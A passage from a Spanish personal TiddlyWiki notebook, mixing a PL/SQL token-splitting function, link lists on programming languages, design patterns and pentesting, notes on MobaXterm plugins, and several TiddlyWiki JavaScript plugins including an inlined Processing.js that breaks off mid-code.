BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.

<html><sub><a href="javascript:;" onclick="scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>
***/
! Introducción
Una carencia un tanto molesta de PL/SQL es la ausencia de funciones para partir cadenas de texto, de una forma similar a como se haría con un {{{String.split()}}} en [[Java]].

! Solución
La siguiente función cubre esta carencia. Acepta 2 parámetros obligatorios y uno opcional. El primer parámetro es la cadena de texto con una lista delimitada por separadores. El segundo parámetro es el número de elemento, empezando en 1, que se desea extraer. Por último se le puede pasar opcionalmente un último parámetro con la cadena de texto que delimitadora (por defecto es '{{{,}}}')

Código fuente:

<code sql>
CREATE OR REPLACE FUNCTION Get_Token (
   the_list    VARCHAR2,
   the_index   NUMBER,
   delim       VARCHAR2 := ','
)
   RETURN VARCHAR2
IS
   start_pos   NUMBER;
   end_pos     NUMBER;
/*
Extrae un elemento de una lista separada por un delimitador
Ejemplos de uso:

get_token('foo,bar,baz',1), -- 'foo'
get_token('a,,b',2),        -- ''
get_token('a|b|c',2,'|'),   -- 'b'
get_token('a|b|c',4,'|'),   -- ''
get_token('foo,bar,baz',-1), -- 'baz'
*/
BEGIN
   IF the_index = 1
   THEN
      start_pos := 1;
   ELSIF the_index < 0
   THEN
      start_pos := INSTR (the_list, delim, -1, ABS (the_index)) + 1;
   ELSE
      start_pos := INSTR (the_list, delim, 1, the_index - 1);

      IF start_pos = 0
      THEN
         RETURN NULL;
      ELSE
         start_pos := start_pos + LENGTH (delim);
      END IF;
   END IF;

   IF the_index < 0
   THEN
      end_pos := INSTR (the_list, delim, start_pos + 1, 1);
   ELSE
      end_pos := INSTR (the_list, delim, start_pos, 1);
   END IF;

   IF end_pos = 0
   THEN
      RETURN SUBSTR (the_list, start_pos);
   ELSE
      RETURN SUBSTR (the_list, start_pos, end_pos - start_pos);
   END IF;
END Get_Token;
/
</code>
!Descripción
<part descripcion>
Pascal es un lenguaje de programación similar a [[Ada]], muy utilizado en cursos de introducción a la programación por resultar en un código extenso pero fácil de leer.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Pascal_%28lenguaje_de_programaci%C3%B3n%29
** Freepascal, compiladores y recursos para Pascal: http://freepascal.org/

* ''Cursos y tutoriales:''
** "Aprende pascal", curso online: http://aprendepascal.wikidot.com/
** Curso de turbo pascal: http://www.carlospes.com/curso_de_pascal/
** Wikilibro: http://es.wikiversity.org/wiki/Programaci%C3%B3n_en_Pascal
** Pascal esencial: http://www.marcocantu.com/epascal/Spanish/ch01hist.htm

* ''Compiladores e IDEs'':
** GNU Pascal: http://www.gnu-pascal.de/gpc-es/h-index.html
** freepascal, compilador hecho en pascal: http://freepascal.org/download.var
** Lazarus IDE (usa freepascal): http://www.lazarus.freepascal.org/
** Delphi IDE: http://www.embarcadero.com/products/delphi

* ''Otras utilidades:''
** Midlet Pascal, pascal sobre [[J2ME]]: http://sourceforge.net/projects/midletpascal/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|''Name:''|PasswordOptionPlugin|
|''Description:''|Extends TiddlyWiki options with non encrypted password option.|
|''Version:''|1.0.2|
|''Date:''|Apr 19, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#PasswordOptionPlugin|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0 (Beta 5)|
***/
//{{{
version.extensions.PasswordOptionPlugin = {
	major: 1, minor: 0, revision: 2, 
	date: new Date("Apr 19, 2007"),
	source: 'http://tiddlywiki.bidix.info/#PasswordOptionPlugin',
	author: 'BidiX (BidiX (at) bidix (dot) info',
	license: '[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D]]',
	coreVersion: '2.2.0 (Beta 5)'
};

config.macros.option.passwordCheckboxLabel = "Save this password on this computer";
config.macros.option.passwordInputType = "password"; // password | text
setStylesheet(".pasOptionInput {width: 11em;}\n","passwordInputTypeStyle");

merge(config.macros.option.types, {
	'pas': {
		elementType: "input",
		valueField: "value",
		eventName: "onkeyup",
		className: "pasOptionInput",
		typeValue: config.macros.option.passwordInputType,
		create: function(place,type,opt,className,desc) {
			// password field
			config.macros.option.genericCreate(place,'pas',opt,className,desc);
			// checkbox linked with this password "save this password on this computer"
			config.macros.option.genericCreate(place,'chk','chk'+opt,className,desc);			
			// text savePasswordCheckboxLabel
			place.appendChild(document.createTextNode(config.macros.option.passwordCheckboxLabel));
		},
		onChange: config.macros.option.genericOnChange
	}
});

merge(config.optionHandlers['chk'], {
	get: function(name) {
		// is there an option linked with this chk ?
		var opt = name.substr(3);
		if (config.options[opt]) 
			saveOptionCookie(opt);
		return config.options[name] ? "true" : "false";
	}
});

merge(config.optionHandlers, {
	'pas': {
 		get: function(name) {
			if (config.options["chk"+name]) {
				return encodeCookie(config.options[name].toString());
			} else {
				return "";
			}
		},
		set: function(name,value) {config.options[name] = decodeCookie(value);}
	}
});

// need to reload options to load passwordOptions
loadOptionsCookie();

/*
if (!config.options['pasPassword'])
	config.options['pasPassword'] = '';

merge(config.optionsDesc,{
		pasPassword: "Test password"
	});
*/
//}}}
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia:  http://es.wikipedia.org/wiki/Patr%C3%B3n_de_dise%C3%B1o
* Antipatrones: http://es.wikipedia.org/wiki/Antipatr%C3%B3n_de_dise%C3%B1o
* Diccionario de patrones: http://martinfowler.com/eaaCatalog/index.html
* Resumen del MIT (traducido) http://mit.ocw.universia.net/6.170/6.170/f01/pdf/lecture-12.pdf
* Segunda parte: http://mit.ocw.universia.net/6.170/6.170/f01/pdf/lecture-13.pdf
* Breve y conciso catálogo: http://www.ingenierosoftware.com/analisisydiseno/patrones-diseno.php
* Thinking in Patterns: http://www.bruceeckel.com/
* Tutorial básico de Java Hispano: http://www.javahispano.org/contenidos/es/introduccrion_a_los_patrones_de_diseno/
* Catálogo de patrones muy completo: http://hdlorean.wikidot.com/doc:patrones-diseno
* Los patrones que todo programador debería conocer: http://www.developerfusion.com/article/8307/aspnet-patterns-every-developer-should-know/

!! Patrones de diseño en [[Java]]
* Catálogo de patrones de diseño [[J2EE]]: http://java.ciberaula.com/articulo/diseno_patrones_j2ee/
* Patrones de capa de presentación: http://www.programacion.com/articulo/catalogo_de_patrones_de_diseno_j2ee_i_-_capa_de_presentacion_240
* Patrones de Catálogo de capas de negocio e integración: http://linux.programacion.com/articulo/catalogo_de_patrones_de_diseno_j2ee__y_ii:_capas_de_negocio_y_de_integracion_243/8
* Tutorial de Adictos al Trabajo: http://www.adictosaltrabajo.com/tutoriales/tutoriales.php?pagina=patronesdis
* Listado muy básico: http://usuarios.multimania.es/mark75mx/java/patrones/patronesdiseno.html

!! Patrones de diseño en [[Python]]
* Tutorial de wikilearning: http://www.wikilearning.com/tutorial/patrones_de_diseno_en_python-introduccion/6410-1
* Videos de Google (en inglés): http://crysol.org/en/node/965
* Serie de 3 artículos: http://davidasorey.net/?s=patrones+de+dise%C3%B1o
* Metaprogramación en Python: http://www.linux-magazine.es/issue/15/Python.pdf

!! Patrones de interfaz gráfica
* Listado y ejemplos: http://www.welie.com/patterns/index.php
* Patrones y su aplicación al diseño de interfaces de usuario: http://designinginterfaces.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
* Whats Operator, operador de tus contactos: http://and.roid.es/whats-operator-descubre-el-operador-de-tus-contactos.html
* Rock Player Lite, reproductor multimedia: https://market.android.com/details?id=com.redirectin.rockplayer.android.unified.lite
* Emuladores a tutiplen: http://www.elandroidelibre.com/2011/03/especial-roms-y-emuladores-para-android.html
* Android y DLNA: http://www.elandroidelibre.com/2011/03/convierte-tu-android-en-un-dispositivo-dlna-de-forma-sencilla-y-gratuita.html
* Seesmic: https://market.android.com/search?q=seesmic&c=apps
* Twicca: https://market.android.com/details?id=jp.r246.twicca
!Descripción
<part descripcion>
Pentest es la abreviatura de "Penetration Test" o "Test de Penetración", y consiste en revisar un sistema (servidores y redes) para comprobar si son vulnerables a ataques. Para ello se suelen utilizar herramientas automatizadas que escanean posibles vulnerabilidades, e incluso se intenta actuar como lo haría un hacker, para poder comprobar que puntos pueden ser vulnerables ante un ataque.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Pentest
** Guía de OWASP para el testeo de seguridad: http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents
** Blog sobre pentesting: http://www.pentester.es/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Perl es un lenguaje de script muy utilizado en entornos [[*NIX]] para realizar tareas de mantenimiento automatizadas. También se puede utilizar para generar páginas web mediante la interfaz CGI. Perl es un lenguaje de programación complejo potente y con una vida bastante larga. Tiene librerías para casi cualquier cosa, pero su curva de aprendizaje es empinadísima.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: 
* Página oficial: https://secure.wikimedia.org/wikipedia/es/wiki/Perl
* Perl: http://www.perl.org/

!! Documentación
* Documentación oficial: http://perldoc.perl.org/
* Expresiones regulares en Perl 6: http://sites.google.com/site/ramiroencinas/doc/perl6/s05-regex-es
* Diferencias entre Perl 5 y Perl 6: http://sites.google.com/site/ramiroencinas/doc/perl6/diferencias_perl6_perl5
* Variables especiales en Perl: http://www.catonmat.net/blog/perls-special-variable-cheat-sheet/
* Perlmeme: http://perlmeme.org/
* Perl Monks: http://perlmonks.org/index.pl?node=Tutorials
* Libro Modern Perl: http://www.onyxneon.com/books/modern_perl/index.html
* Learning Perl the Hard Way: http://greenteapress.com/perl/

!! Tutoriales y consejos
* Operadores "secretos" de Perl: http://www.catonmat.net/blog/secret-perl-operators
* Perl "onelines" (scripts de una línea): http://www.catonmat.net/series/perl-one-liners-explained
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Definición de la [[RAE]]: Técnica de la fabricación y utilización de materiales explosivos o fuegos artificiales. ([[def|http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=pirotecnia]])
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Pirotecnia

!! Wikis y portales
* Wiki Pyro: http://www.wikipyro.com/
* Pyro Guide: http://www.pyroguide.com

!! Proyectos
* Humo de colores: http://soplandoalcierzo.blogspot.com/2010/03/experimento-casero-bombas-de-humo-de.html
* Fuego de colores: http://www.ikkaro.com/como-hacer-fuego-colores
* Cohete de cerillas: http://www.grc.nasa.gov/WWW/K-12/TRC/Rockets/match_rocket.html
* Lanzallamas casero: http://www.ikkaro.com/node/424
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Plan 9 from Bell Labs es un [[sistema operativo|SistemasOperativos]] experimental pensado para sustituir a [[UNIX|*NIX]] en la experimentación de nuevos conceptos de SO. Una de sus características más peculiares es que representa todos los elementos como directorios y ficheros: todo es un sistema de archivos, ya sean datos almacenados (lo usual), o procesos, dispositivos, redes, etc.

[[Inferno]] es una implementación de Plan9 que utiliza una máquina virtual y un lenguaje de programación llamado [[Limbo]]
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Plan_9_from_Bell_Labs
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
Los headers son datos que se intercambian entre el cliente y el servidor HTTP justo antes de que llegue el mensaje HTML (la página web en si). Contienen mucha información útil y a veces peligrosa, como cookies o identificadores de rastreo. Por ello es muy importante conocer esos datos que muchas veces no se ven a simple vista.

Mi idea es mostrar en una pequeña barra un sencillo textarea de entre 3 y 5 filas fácilmente escondible en la parte superior o inferior de la página, y que muestre todos los headers recibidos del servidor. Sería útil que colorease los headers según si son conocidos, peligrosos o no reconocidos. También seria conveniente que pasados unos segundos (entre 3 y 10) se escondiera de forma que no molestase.

! Alternativas existentes
No se si existe algo que cumpla los puntos anteriores. En cualquier caso, los siguientes plugins muestran headers HTTP en Firefox:
* Live HTTP Headers: https://addons.mozilla.org/es-ES/firefox/addon/3829/
* Tamper Data: https://addons.mozilla.org/es-ES/firefox/addon/966/
* Modify Headers: https://addons.mozilla.org/es-ES/firefox/addon/967/
* Site Information: https://addons.mozilla.org/en-US/firefox/addon/5607/

Ninguno de ellos cumple con la función de mostrar de forma sencilla y no muy intrusiva los headers en tiempo real.
! Introducción
[[Moba Xterm|http://mobaxterm.mobatek.net/en/]] es una distribución de [[Cygwin|http://www.cygwin.com]] empaquetada en un ejecutable, junto con una consola tipo Xterm y una serie de herramientas como el servidor X para windows [[Xming|http://www.straightrunning.com/XmingNotes/]] y el cliente [[Open SSH|http://www.openssh.com/]].

En resumen, con Moba Xterm tenemos un entorno Linux incrustado en una ventana con una consola Xterm, listo para usar en Windows. Además, soporte plugins para poder instalar más herramientas, como una distribución de Perl 5 o GCC.

! Plugins
Como ya se ha reseñado, Moba Xterm es una distribución de Cygwin, con la ventaja de ser muy sencilla de usar y estar contenida en un único (y enorme) archivo {{{.exe}}}, pero con la desventaja de que no se puede modificar su sistema de ficheros. Para paliarlo existen los plugins.

Un plugin es un fichero con extensión {{{.mxt3}}} que se carga al arrancar Moba Xterm. El interior del fichero es un archivo .zip con una estructura de directorios tipo unix. Moba Xterm descomprime en memoria el contenido del zip y lo mapea dentro de la estructura de directorios. Esto quiere decir que si metemos en {{{/bin}}} un ejecutable llamado {{{hola.exe}}}, a la hora de ejecutar Moba Xterm, lo tendremos disponible en esa ubicación {{{/bin}}} junto con el resto de ejecutables habituales.

Los plugins oficiales pueden encontrarse en la siguiente dirección:
* http://mobaxterm.mobatek.net/en/download/plugins.html

!! Haz tu propio plugin
Lo primero que se necesita es un programa compilado para cygwin. Se puede descargar de alguno de los servidores de la siguiente dirección:
* http://www.cygwin.com/mirrors.html

Una vez obtenido el programa que se quiere añadir a Moba Xterm, hay que usar un plugin existente como base. No es obligatorio, pero si recomendable. Lo más útil es descargar uno sencillo y pequeño como [[curl.mxt3|http://mobaxterm.mobatek.net/Curl.mxt3]]. Una vez descargado se cambia la extensión a {{{.mxt3.zip}}}. A partir de este punto se puede abrir con cualquier programa de creación y extracción de archivos Zip, como winrar o win 7z.

Ahora tan sólo hay que añadir los ficheros que componen el programa de cygwin descargado al archivo zip. Si el ejecutable del programa está en {{{/usr/bin}}}, hay que copiar dicha carpeta a {{{/bin}}}. Una vez comprimido y preparado tan solo hay que volver a dejar la extensión en {{{.mxt3}}} y poner el plugin al lado del ejecutable de Moba Xterm o en un subdirectorio llamado {{{plugins}}}.

Además de programas compilados para Cygwin, también pueden incluirse de forma similar programas "portables" para windows (esto es, ejecutables independientes que no requieren instalación), copiando el ejecutable y los archivos que precise en {{{/bin}}}.
/***
|''Name:''|~PopupMacro|
|''Version:''|1.0.0 (2006-05-09)|
|''Source:''|http://tw.lewcid.org/#PopupMacro|
|''Author:''|Saq Imtiaz|
|''Description:''|Create popups with custom content|
|''Documentation:''|[[PopupMacro Documentation|PopupMacroDocs]]|
|''~Requires:''|TW Version 2.0.8 or better|
***/
// /%
{{{
config.macros.popup = {};
config.macros.popup.arrow = (document.all?"▼":"▾");
config.macros.popup.handler = function(place,macroName,params,wikifier,paramString,theTiddler) {

        if (!params[0] || !params[1]) 
             {createTiddlyError(place,'missing macro parameters','missing label or content parameter');
              return false;};
   
        var label = params[0];
        var source = (params[1]).replace(/\$\)\)/g,">>"); 
        var nestedId = params[2]? params[2]: 'nestedpopup';        

	var onclick = function(event) {
	        if(!event){var event = window.event;}
                var theTarget = resolveTarget(event);
                var nested = (!isNested(theTarget));
               
                if ((Popup.stack.length > 1)&&(nested==true)) {Popup.removeFrom(1);}
                else if(Popup.stack.length > 0 && nested==false) {Popup.removeFrom(0);};
                
                var theId = (nested==false)? "popup" : nestedId; 
	        var popup = createTiddlyElement(document.body,"ol",theId,"popup",null);
	        Popup.stack.push({root: button, popup: popup});

                wikify(source,popup);
		Popup.show(popup,true);
	        event.cancelBubble = true;
		if (event.stopPropagation) event.stopPropagation();
		return false;
	}
	var button = createTiddlyButton(place, label+this.arrow,label, onclick, null);
};

window.isNested = function(e) {
        while (e != null) {
                var contentWrapper = document.getElementById("contentWrapper");
                if (contentWrapper == e) return true;
                e = e.parentNode;
                }
        return false;
};

setStylesheet(
".popup, .popup a, .popup a:visited {color: #fff;}\n"+
".popup  a:hover {background: #014; color: #fff; border: none;}\n"+
".popup li , .popup ul, .popup ol {list-style:none !important; margin-left:0.3em !important; margin-right:0.3em; font-size:100%; padding-top:0.5px !important; padding:0px !important;}\n"+
"#nestedpopup {background:#2E5ADF; border: 1px solid #0331BF; margin-left:1em; }\n"+
"",
"CustomPopupStyles");

config.shadowTiddlers.PopupMacroDocs="The documentation is available [[here.|http://tw.lewcid.org/#PopupMacroDocs]]";
}}}
//%/
''If you want this documentation available offline, you will need to copy this tiddler to your TW.''
!Description:
Using the popup macro you can create popups with any wiki text. The wiki text can be written in the macro call, can be generated using a different macro, or included from a tiddler.

!Usage:
*the button label is the first parameter
*the text to put in the popup is the second parameter
**embed macro output like forEachTiddler or tiddlerList
***start macro calls with {{{<<}}} like normal, but end with {{{$))}}}
**define popup content inline, or embed from a tidder using the core tiddler macro {{{<<tiddler$))}}}
*you can nest popups up to one level
**nested popups have an id of 'nestedpopup' for easier styling.
**specify unique id's for nested popups by passing the id as a third parameter.

----
!Example's

''Put a forEachTiddler macro generated list in a popup:''
{{{<<popup forEachTiddlerDemo [[<<forEachTiddler where 'tiddler.tags.contains("systemConfig")']]$))}}}
<<popup forEachTiddlerDemo [[<<forEachTiddler
where
'tiddler.tags.contains("systemConfig")'$))]]>>

''Use the core {{{<<tiddler>>}}} macro to put the contents of a tiddler into a popup:''
MainMenu popup:
{{{<<popup MainMenu [[<<tiddler MainMenu$))]]>>}}}
<<popup MainMenu [[<<tiddler MainMenu$))]]>>

''Or create a custom menu in a tiddler using various macro's and normal tiddlylinks.''
{{{<<popup CustomMenu '<<tiddler CustomMenu$))'>>}}}
<<popup CustomMenu '<<tiddler CustomMenu$))'>>
this menu was created with a combination of forEachTiddler and normal tiddlyLinks!
Note that the 'Plugins' button opens a second nested popup.
Source tiddler: CustomMenu

''Or define your custom menu inline.''
{{{<<popup 'Inline Custom Menu' [[Custom Menu
*MainMenu
----
<<forEachTiddler
 where
 'tiddler.tags.contains("systemConfig")']]$))]] 
>>}}}
<<popup 'Inline Custom Menu' [[Custom Menu
*MainMenu
----
<<forEachTiddler where 'tiddler.tags.contains("systemConfig")'$))]] 
>>

''Note: you can pass a third parameter and it will be set as the id of any nested popups''
By default, nested popups have an id of 'nestedpopup' to facilitate styling.

----
!Current Issues:
*better support for custom classes for popups and nestedpopups
----
!Code
PopupMacro
/***
|Name:|PrettyDatesPlugin|
|Description:|Provides a new date format ('pppp') that displays times such as '2 days ago'|
|Version:|1.0 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#PrettyDatesPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Notes
* If you want to you can rename this plugin. :) Some suggestions: LastUpdatedPlugin, RelativeDatesPlugin, SmartDatesPlugin, SexyDatesPlugin.
* Inspired by http://ejohn.org/files/pretty.js
***/
//{{{
Date.prototype.prettyDate = function() {
	var diff = (((new Date()).getTime() - this.getTime()) / 1000);
	var day_diff = Math.floor(diff / 86400);

	if (isNaN(day_diff))      return "";
	else if (diff < 0)        return "in the future";
	else if (diff < 60)       return "just now";
	else if (diff < 120)      return "1 minute ago";
	else if (diff < 3600)     return Math.floor(diff/60) + " minutes ago";
	else if (diff < 7200)     return "1 hour ago";
	else if (diff < 86400)    return Math.floor(diff/3600) + " hours ago";
	else if (day_diff == 1)   return "Yesterday";
	else if (day_diff < 7)    return day_diff + " days ago";
	else if (day_diff < 14)   return  "a week ago";
	else if (day_diff < 31)   return Math.ceil(day_diff/7) + " weeks ago";
	else if (day_diff < 62)   return "a month ago";
	else if (day_diff < 365)  return "about " + Math.ceil(day_diff/31) + " months ago";
	else if (day_diff < 730)  return "a year ago";
	else                      return Math.ceil(day_diff/365) + " years ago";
}

Date.prototype.formatString_orig_mptw = Date.prototype.formatString;

Date.prototype.formatString = function(template) {
	return this.formatString_orig_mptw(template).replace(/pppp/,this.prettyDate());
}

// for MPTW. otherwise edit your ViewTemplate as required.
// config.mptwDateFormat = 'pppp (DD/MM/YY)'; 
config.mptwDateFormat = 'pppp'; 

//}}}
!Presentación
Esto es un cuaderno de notas ''personal''. Eso quiere decir que he ido metiendo lo que me ha parecido o resultado útil con el único fin de tener organizada y accesible toda esta información. Es mi "memoria adicional" donde guardo las cosas que quiero memorizar. En ningún momento he realizado este wiki pensando en una publicación general hacia los demás, ni en que nadie lo visite siquiera, pero como he creído que puede ser útil a más gente, he decidido publicarlo con acceso de sólo lectura.

Para comprender la estructura y la razón de ser de este wiki, imaginen que es como si dejara mi libreta de apuntes sobre la mesa y no me importara que la gente le echara una ojeada. Por lo tanto, todo el que lea esta página debe saber lo siguiente:
# Las notas puede ser confusas, pero yo me entiendo.
# Muchos fragmentos de código y ejemplos pueden estar cogidos de multitud de fuentes publicas y no citadas. Esto es un cuaderno de notas al vuelo, es evidente que no he ido anotando de donde he sacado cada cosa, pero suelo intentar hacerlo.
# No soy un servicio público: comparto algo que me es útil y puede ser útil a los demás, pero no resuelvo dudas.
# Si hay mucha gente disconforme con lo anterior, volveré el wiki privado y santas pascuas.
# Copia lo que te de la gana y úsalo como más útil te parezca. Eso si, recuerda que no se de donde he sacado algunos fragmentos de código y que hay gente que puede molestarse. Yo no me molestaré.
# He copiado muchos textos. No son para atribuírmelos, si no para poder consultarlos offline. Si le das a "download" puedes bajarte un HTML con el wiki completo. Yo suelo usar la copia offline, y de vez en cuando subo los cambios al servidor.

¿Tienes alguna queja? ¿Algo que comentar? ¿Algo que aportar?  Mándamelo por Form Spring
* http://www.formspring.me/errepunto
/% ¡No borres la siguiente línea!  %/
<<tiddler _principal>>
Un procesador de textos es un programa diseñado para crear y modificar textos con formato. Es algo así como la evolución moderna de las máquinas de escribir, y están pensados para generar textos que se publicarán o enviarán a otras personas, como libros, memorandos, cartas, manuales, etc.

Los editores de texto suelen ser capaces de añadir formato al texto (tamaños, fuentes, negritas, etc).

No debe confundirse con los [[editores de texto|EditorTexto]] que son herramientas mucho más técnicas para texto plano (sin formato).

Más información
*http://es.wikipedia.org/wiki/Procesador_de_texto
!Descripción
<part descripcion>
Processing es un lenguaje de programación orientado a la generación sencilla de gráficos interactivos. Existen implementaciones sobre [[Java]] y JavaScript, lo que permite integrarlo fácilmente en páginas web.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Processing
** Wiki: http://wiki.processing.org/w/Main_Page
** Comparación con python: http://processing.org/learning/compare/python.html
** Ejemplos y contribuciones: http://www.openprocessing.org/
** Ejemplos con processing JS: http://bocoup.com/processing-js/docs/index.php
** Tutorial con ejemplos: http://funprogramming.org/

* ''Implementaciones:''
** //Versión estandar (J2SE)//
*** Página principal: http://processing.org/
*** Referencia: http://processing.org/reference/
*** Tutoriales: http://processing.org/learning/
** //Versión movil (J2ME)//
*** Página principal: http://mobile.processing.org/
*** Referencia: http://mobile.processing.org/reference/index.php
*** Tutoriales: http://mobile.processing.org/learning/tutorials/index.php
** //Versión web ([[JavaScript]])//
** Página principal: http://processing.org
*** Referencia: http://processingjs.org/reference
*** Tutoriales: http://processingjs.org/learning
** //Otras versiones//
*** SDK de [[Arduino]]: http://www.arduino.cc/playground/Interfacing/Processing
*** Plugin para TiddlyWiki: http://processing.tiddlyspot.com/ (ProcessingjsPlugin)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
Description
<<Processing>>
***/

//{{{

/*
 *Global variables
 */
int s = 300;                //300 pixels
color fgColor = color(255); //white
color fillColor = color(126, 126, 255); //light blue
color bgColor = color(102); //medium-dark gray
int thickness = 2;           //2 pixel's lines

/*
 * Initialization function
 */
void setup() {
    //Canvas size
    size(s, s);
    //Canvas color
    background(bgColor);
    //Framerate
    frameRate(20);
    //Other initializations
}

/*
 * Called each clock tick
 */
void draw() {
    //Set the foreground color
    stroke(fgColor);
    //Set the fill color
    fill(fillColor);
    //Set the thickness of lines
    strokeWeight(thickness);    
    //Example: draws a square
    rect(s/4, s/4, s/2, s/2);
}

//}}}
/***
|''Name:''|ProcessingPlugin|
|''Description:''|TiddlyWiki Bundle of John Ressig's processing.js|
|''Date:''|May 9, 2008|
|''Author:''|PaulDowney (psd (at) osmosoft (dot) com)|
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/PaulDowney/plugins/ProcessingPlugin.js|
|''Version:''|0.2|
|''License:''|[[MIT license]]|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev |
|''~CoreVersion:''|2.2|

With contributions from Simon Baird.

***/

//{{{

// Ensure Plugin is only installed once.
if(!version.extensions.Processingjs) {
version.extensions.Processingjs = {installed:true};

config.macros.Processing = {
	counter: 0,
	handler: function (place,macroName,params,wikifier,paramString,tiddler) {
		var id = "processingcanvas"+this.counter;
		var canvas = createTiddlyElement(place,"canvas",id);

		// inlined code
		var code = paramString;

		// quick and dirty grab of code from a named tiddler
		if (store.tiddlerExists(params[0])) {
			code = store.getTiddlerText(params[0]);
		}

		// or with no params, grab code from this tiddler
		if (paramString.trim() == '') {
			code = tiddler.text;
		}

		createTiddlyElement(place,"br");
		var restartBtn = createTiddlyButton(place,"restart","restart",function() {
				story.refreshTiddler(tiddler.title,null,true);
				return false;
			},
			'processingRestart' // it's a class so you can style the button
		);

		Processing(canvas,code);
	}
};

// requires 2.4
merge(config.macros.view.views,{
	processing: function(value,place,params,wikifier,paramString,tiddler) {
		wikify("<<Processing\n"+value+"\n>>",place,highlightHack,tiddler);
	}
});

/*
 *  inlined copy of Processing.js
 *  latest code at: http://ejohn.org/blog/processingjs/
 */

/*
 * Processing.js - John Resig (http://ejohn.org/)
 * MIT Licensed
 * http://ejohn.org/blog/processingjs/
 *
 * This is a port of the Processing Visualization Language.
 * More information: http://processing.org/
 */

(function(){

this.Processing = function Processing( aElement, aCode )
{
  var p = buildProcessing( aElement );
  p.init( aCode );
  return p;
};

function log()
{
  try
  {
    console.log.apply( console, arguments );
  }
  catch(e)
  {
    try
    {
      opera.postError.apply( opera, arguments );
    }
    catch(e){}
  }
}

function parse( aCode, p )
{
  // Angels weep at this parsing code :-(

  // Remove end-of-line comments
  aCode = aCode.replace(/\/\/ .*\n/g, "\n");

  // Weird parsing errors with %
  aCode = aCode.replace(/([^\s])%([^\s])/g, "$1 % $2");
 
  // Simple convert a function-like thing to function
  aCode = aCode.replace(/(?:static )?(\w+ )(\w+)\s*(\([^\)]*\)\s*{)/g, function(all, type, name, args)
  {
    if ( name == "if" || name == "for" || name == "while" )
    {
      return all;
    }
    else
    {
      return "Processing." + name + " = function " + name + args;
    }
  });

  // Force .length() to be .length
  aCode = aCode.replace(/\.length\(\)/g, ".length");

  // foo( int foo, float bar )
  aCode = aCode.replace(/([\(,]\s*)(\w+)((?:\[\])+| )\s*(\w+\s*[\),])/g, "$1$4");
  aCode = aCode.replace(/([\(,]\s*)(\w+)((?:\[\])+| )\s*(\w+\s*[\),])/g, "$1$4");

  // float[] foo = new float[5];
  aCode = aCode.replace(/new (\w+)((?:\[([^\]]*)\])+)/g, function(all, name, args)
  {
    return "new ArrayList(" + args.slice(1,-1).split("][").join(", ") + ")";
  });
  
  aCode = aCode.replace(/(?:static )?\w+\[\]\s*(\w+)\[?\]?\s*=\s*{.*?};/g, function(all)
  {
    return all.replace(/{/g, "[").replace(/}/g, "]");
  });

  // int|float foo;
  var intFloat = /(\n\s*(?:int|float)(?:\[\])?(?:\s*|[^\(]*?,\s*))([a-z]\w*)(;|,)/i;
  while ( intFloat.test(aCode) )
  {
    aCode = aCode.replace(new RegExp(intFloat), function(all, type, name, sep)
    {
      return type + " " + name + " = 0" + sep;
    });
  }

  // float foo = 5;
  aCode = aCode.replace(/(?:static )?(\w+)((?:\[\])+| ) *(\w+)\[?\]?(\s*[=,;])/g, function(all, type, arr, name, sep)
  {
    if ( type == "return" )
      return all;
    else
      return "var " + name + sep;
  });

  // Fix Array[] foo = {...} to [...]
